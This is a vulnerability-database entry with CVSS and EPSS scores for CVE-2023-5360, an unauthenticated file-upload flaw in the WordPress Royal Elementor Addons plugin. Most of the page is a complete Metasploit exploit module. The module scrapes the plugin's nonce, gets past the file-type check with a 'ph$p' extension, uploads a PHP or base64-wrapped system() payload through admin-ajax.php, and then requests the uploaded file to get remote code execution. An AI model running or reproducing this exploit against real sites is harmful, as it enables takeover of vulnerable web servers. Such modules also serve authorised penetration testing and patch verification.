Lucene search

K
zdtMetasploit1337DAY-ID-39171
HistoryNov 28, 2023 - 12:00 a.m.

WordPress Royal Elementor Addons Remote Code Execution Exploit

2023-11-2800:00:00
metasploit
0day.today
179
wordpress
royal elementor addons
unauthenticated file upload
vulnerability
rce
metasploit
exploit
fioravante souza
valentin lobstein
cve-2023-5360
file upload
unix
linux
win
php
stability
reliability
side effects
wordpress version
metasploit module
remote code execution

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.911 High

EPSS

Percentile

98.9%

Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Royal Elementor Addons RCE',
        'Description' => %q{
          Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).
        },
        'Author' => [
          'Fioravante Souza', # Vulnerability discovery
          'Valentin Lobstein' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-5360'],
          ['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'],
          ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
        ],
        'Platform' => ['unix', 'linux', 'win', 'php'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2023-11-23',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
  )
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("WordPress Version: #{wp_version}") if wp_version

    check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79')

    if check_code.code != 'appears'
      return CheckCode::Safe
    end

    plugin_version = check_code.details[:version]
    print_good("Detected Royal Elementor Addons version: #{plugin_version}")
    return CheckCode::Appears
  end

  def exploit
    print_status('Attempting to retrieve nonce...')
    nonce = retrieve_nonce

    print_status('Sending payload')
    uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')

    data = {
      'action' => 'wpr_addons_upload_file',
      'max_file_size' => rand(10001),
      'allowed_file_types' => 'ph$p',
      'triggering_event' => 'click',
      'wpr_addons_nonce' => nonce
    }

    file_content = '<?php '
    file_content << (payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));")
    file_content << '?>'

    file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p"

    post_data = Rex::MIME::Message.new
    post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name=\"uploaded_file\"; filename=\"#{file_name}\"")
    data.each_pair do |key, value|
      post_data.add_part(value.to_s, nil, nil, "form-data; name=\"#{key}\"")
    end

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    unless res
      fail_with(Failure::Unreachable, 'No response received from the target')
    end

    if res.code == 200 && res.body.include?('success')
      print_good('Payload uploaded successfully')
      response_data = JSON.parse(res.body)
      if response_data.key?('data') && response_data['data'].key?('url')
        file_url = response_data['data']['url']
        print_status('Triggering the payload')
        send_request_cgi({
          'uri' => file_url,
          'method' => 'GET'
        })

      else
        fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
    end
  end

  def retrieve_nonce
    res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')

    fail_with(Failure::Unreachable, 'No response received from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200

    match = res.body.match(/var\s+WprConfig\s*=\s*({.+?});/)
    fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil?

    nonce = JSON.parse(match[1])['nonce']
    fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil?

    print_good("Nonce found in response: #{nonce.inspect}")
    nonce
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.911 High

EPSS

Percentile

98.9%